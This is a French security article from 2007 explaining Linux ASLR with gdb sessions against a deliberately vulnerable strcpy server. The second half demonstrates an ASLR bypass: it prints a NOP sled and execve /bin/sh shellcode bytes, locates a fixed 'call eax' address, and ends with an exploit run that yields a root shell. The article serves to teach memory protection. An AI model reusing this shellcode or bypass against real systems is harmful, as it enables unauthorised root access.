Contribuez à SecuObs en envoyant des bitcoins ou des dogecoins.
Nouveaux articles (fr): 1pwnthhW21zdnQ5WucjmnF3pk9puT5fDF
Amélioration du site: 1hckU85orcGCm8A9hk67391LCy4ECGJca

Contribute to SecuObs by sending bitcoins or dogecoins.



[Renforcement des fonctions de sécurité du noyau Linux – Partie 2] Address Space Layout Randomization

Par Rédaction, secuobs.com
Le 14/11/2007


Résumé : ASLR ou Address Space Layout Randomization est une fonctionnalité du noyau Linux permettant de rendre aléatoire l'espace d'adressage mémoire de zones comme le tas (heap) ou la pile (stack) afin de compliquer le travail d'un attaquant souhaitant compromettre une machine via une attaque de type buffer overflow par exemple.



Une nouveauté de taille est apparue récemment dans le noyau Linux, avec le support natif de l'équivalent d'ASLR (Address Space Layout Randomization). Ce dernier permet de rendre aléatoire l'espace d'adressage mémoire de certaines zones, telles que le tas (heap) ou la pile (stack).

En effet, ces deux dernières sections mémoire contiennent la plupart du temps les buffers d'un processus. Les allocations dynamiques (*malloc) sont placées dans le tas tandis que les statiques (char/int/... *buff[SIZE]) sont placées dans la pile.

Les fameux médiatiques buffer overflows (débordements de buffer) exploitent donc ces zones de la mémoire afin d'y placer un shellcode (suite d'OPCODEs) et de rediriger ensuite le flot d'exécution vers l'adresse le contenant.

En rendant ces adresses aléatoires, l'attaquant ne peut plus utiliser les techniques classiques d'exploitation, les réussites d'exploitation sont donc bien souvent plus rares.

Un processus nommé « srv » est lancé ci-dessous. Une analyse des zones mémoires allouées aux sections permet de constater que la pile est contenue entre les adresses 0xBF7F7000 et 0xBF80D000 :

$srv&
[3027]

$ cat /proc/3027/maps
(...)
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7da3000-b7da4000 rw-p b7da3000 00:00 0
b7da4000-b7ed2000 r-xp 00000000 03:04 345236 /lib/tls/libc-2.3.6.so
b7ed2000-b7ed7000 r--p 0012e000 03:04 345236 /lib/tls/libc-2.3.6.so
b7ed7000-b7eda000 rw-p 00133000 03:04 345236 /lib/tls/libc-2.3.6.so
b7eda000-b7edc000 rw-p b7eda000 00:00 0
b7ef5000-b7ef8000 rw-p b7ef5000 00:00 0
b7ef8000-b7f0d000 r-xp 00000000 03:04 2032253 /lib/ld-2.3.6.so
b7f0d000-b7f0f000 rw-p 00015000 03:04 2032253 /lib/ld-2.3.6.so
bf7f7000-bf80d000 rw-p bf7f7000 00:00 0 [stack]
ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]Texte



Lors d'un second lancement du même processus, nous constatons que l'adresse de la pile a effectivement changé et se trouve désormais entre 0xBF865000 et BxBF87B000 :

$srv&
[3593]

$ cat /proc/3593/maps
(...)
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7e11000-b7e12000 rw-p b7e11000 00:00 0
b7e12000-b7f40000 r-xp 00000000 03:04 345236 /lib/tls/libc-2.3.6.so
b7f40000-b7f45000 r--p 0012e000 03:04 345236 /lib/tls/libc-2.3.6.so
b7f45000-b7f48000 rw-p 00133000 03:04 345236 /lib/tls/libc-2.3.6.so
b7f48000-b7f4a000 rw-p b7f48000 00:00 0
b7f63000-b7f66000 rw-p b7f63000 00:00 0
b7f66000-b7f7b000 r-xp 00000000 03:04 2032253 /lib/ld-2.3.6.so
b7f7b000-b7f7d000 rw-p 00015000 03:04 2032253 /lib/ld-2.3.6.so
bf865000-bf87b000 rw-p bf865000 00:00 0 [stack]
ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]Texte



Analysons désormais le cas plus concret d'une faille logicielle sur l'exemple ci-dessous. Celui-ci contient la fonction here_is_the_bug qui effectue une copie non bornée de tampon mémoire dans « buffer » d'une taille fixe de 150 octets (celui-ci est placé dans la pile) :

(gdb) list here_is_the_bug
20 char * Connection;
21 } browser;
22
23
24 void here_is_the_bug(pbrowser Browser)
25 {
26
27 char buffer[150];
28 if(Browser->UserAgent != NULL)
29 {
30 strcpy(buffer,Browser->UserAgent);
31 }
32 }



En utilisant le débogueur gdb, plaçons maintenant deux breakpoints (points d'arrêts logiciels), avant et après la réécriture de l'adresse de retour (saved eip) placée dans la pile. Le buffer est ici placé à l'adresse 0xBFC73960. Après réécriture du buffer, nous passons le deuxième point d'arrêt. Le programme plante « normalement » (l'adresse utilisée pour la réécriture étant fausse et ne pointe plus dans la pile) :

(gdb) b 31
Breakpoint 1 at 0x804859e: file srv.c, line 31.

(gdb) run < paquet_mal
Breakpoint 1, here_is_the_bug (Browser=bfff0xf3a7) at srv.c:32
32 }

(gdb) print &buffer
$1 = (char (*)[150]) 0xbfc73960


(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff3a7 in ?? ()



En relançant le même exécutable, au premier point d'arrêt, nous constatons le changement d'adresse : le tampon concerné se situe désormais en 0xBF999AE0 :

(gdb) run < paquet_mal
Breakpoint 1, here_is_the_bug (Browser=bfff0xf3a7) at srv.c:32
32 }

(gdb) print &buffer
$2 = (char (*)[150]) 0xbf999ae0



Il n'est donc plus possible d'utiliser les techniques dites classiques afin de rediriger le flot d'exécution. Au mieux avec cette technique, l'attaquant provoquera un DoS (Denial Of Service - Déni de Service).

Malgré le niveau de sécurité plus élevé qu'apporte cette solution, nous avons constaté en l'étudiant, que cette protection pouvait être outrepassée en utilisant des moyens détournés...

Lors du deuxième point d'arrêt, placé avant le retour de la fonction, et après réécriture de l'adresse de retour (la saved eip affichée par gdb, 0xBFFFf3A7 n'est autre que celle que nous avons réécrite), nous analysons les valeurs des registres :

(gdb) info frame
Stack level 0, frame at 0xbf999b90:
eip = 0x804859e in here_is_the_bug (srv.c:32); saved eip 0xbffff3a7
called by frame at 0xbf999b94
source language c.
Arglist at 0xbf999b88, args: Browser=0xbffff3a7
Locals at 0xbf999b88, Previous frame's sp is 0xbf999b90
Saved registers:
ebp at 0xbf999b88, eip at 0xbf999b8c

(gdb) info registers
eax 0xbf999ae0 -1080452384
ecx 0xbf999bbd -1080452163



La valeur contenue dans le registre EAX est... l'adresse de notre buffer ! Cette propriété est due à l'emploi de la fonction strcpy. En effet, si nous nous plaçons à un niveau plus bas (code assembleur), les différentes adresses et valeurs utilisées sont placées dans les registres appropriés, puis un saut vers le code de la fonction strcpy est ensuite effectué. Cette fonction ne pouvant se passer de l'adresse destination du buffer, il est logique qu'elle soit placée dans un registre accessible (ici EAX).

Vérifions l'hypothèse selon laquelle l'adresse d'EAX contient effectivement notre suite d'instructions placée précédemment en mémoire (suite de NOP puis shellocode) :

(gdb) x/5bi 0xbf999ae0
0xbf999ae0: nop
0xbf999ae1: nop
0xbf999ae2: nop
0xbf999ae3: nop
0xbf999ae4: nop

(gdb) x/100bx 0xbf999ae0
0xbf999ae0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999ae8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999af0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999af8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999b00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999b08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999b10: 0x90 0x90 0x90 0x90 0x90 0x31 0xc0 0x31
0xbf999b18: 0xdb 0x31 0xc9 0xb0 0x46 0xcd 0x80 0x31
0xbf999b20: 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68
0xbf999b28: 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x8d 0x54
0xbf999b30: 0x24 0x08 0x50 0x53 0x8d 0x0c 0x24 0xb0
0xbf999b38: 0x0b 0xcd 0x80 0x31 0xc0 0xb0 0x01 0xcd
0xbf999b40: 0x80 0xbf 0xa7 0xf3



Les octets 0x90 sont les NOP, permettant la plupart du temps de réduire l'heuristique nécessaire à l'exploitation d'un buffer overflow (nous aurions pu nous en passer dans ce cas d'exploitation). Au passage, notons les OPCODEs 0xCD80 (en gras ci-dessus) qui représentent l'appel à l'interruption d'exécution pour nous céder un shell sur la machine distante (int $0x80).

Le principe d'exploitation est alors très clair : nous devons faire exécuter à la machine l'équivalent d'un jmp %eax ou call %eax qui sautera directement sur notre shellcode.

En effectuant une recherche dans la mémoire du processus, grâce à l'opcode finder (memory_dumper lien ) que nous avons développé pour l'occasion, nous trouvons une adresse (en zone d'adressage fixe cette fois-ci) contenant les OPCODEs de l'instruction « call EAX » :

# ./memory_dumper 080484b0 0804A4b0 10497 output
Found at 0x8048c03



Étant donné que le registre EAX pointe sur notre buffer (qui contient un shellcode valide), le contournement est alors effectué :

# ./exploit localhost 8000 0
Using align value 0
Trying « call eax » compliant address : 0x08048c03

Linux lapt41p 2.6.16 #3 PREEMPT i686 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)

#



De plus amples informations techniques au sujet d'ASLR sont disponibles aux adresses suivantes :

Lwn.net ( lien )

Searchopensource.techtarget.com ( lien )

Metasploit msg 00735 ( lien )

Metasploit msg 00736 ( lien )


D'autres protections, situées en userland via la librairie libc, permettent entre autres de se prémunir d'exploitations dans le tas via la méthode unlink. Elles sont complémentaires à une utilisation d'ASLR et ne seront pas décrites dans cet article.


Autres ressources dans ce dossier :

[Renforcement des fonctions de sécurité du noyau Linux – Partie 1] Présentation – lien

[Renforcement des fonctions de sécurité du noyau Linux – Partie 3] GrSecurity et PaX – lien

[Renforcement des fonctions de sécurité du noyau Linux – Partie 4] SELinux (1) – lien

[Renforcement des fonctions de sécurité du noyau Linux – Partie 5] SELinux (2) – lien

[Renforcement des fonctions de sécurité du noyau Linux – Partie 6] Netfilter, conclusions & webographie – lien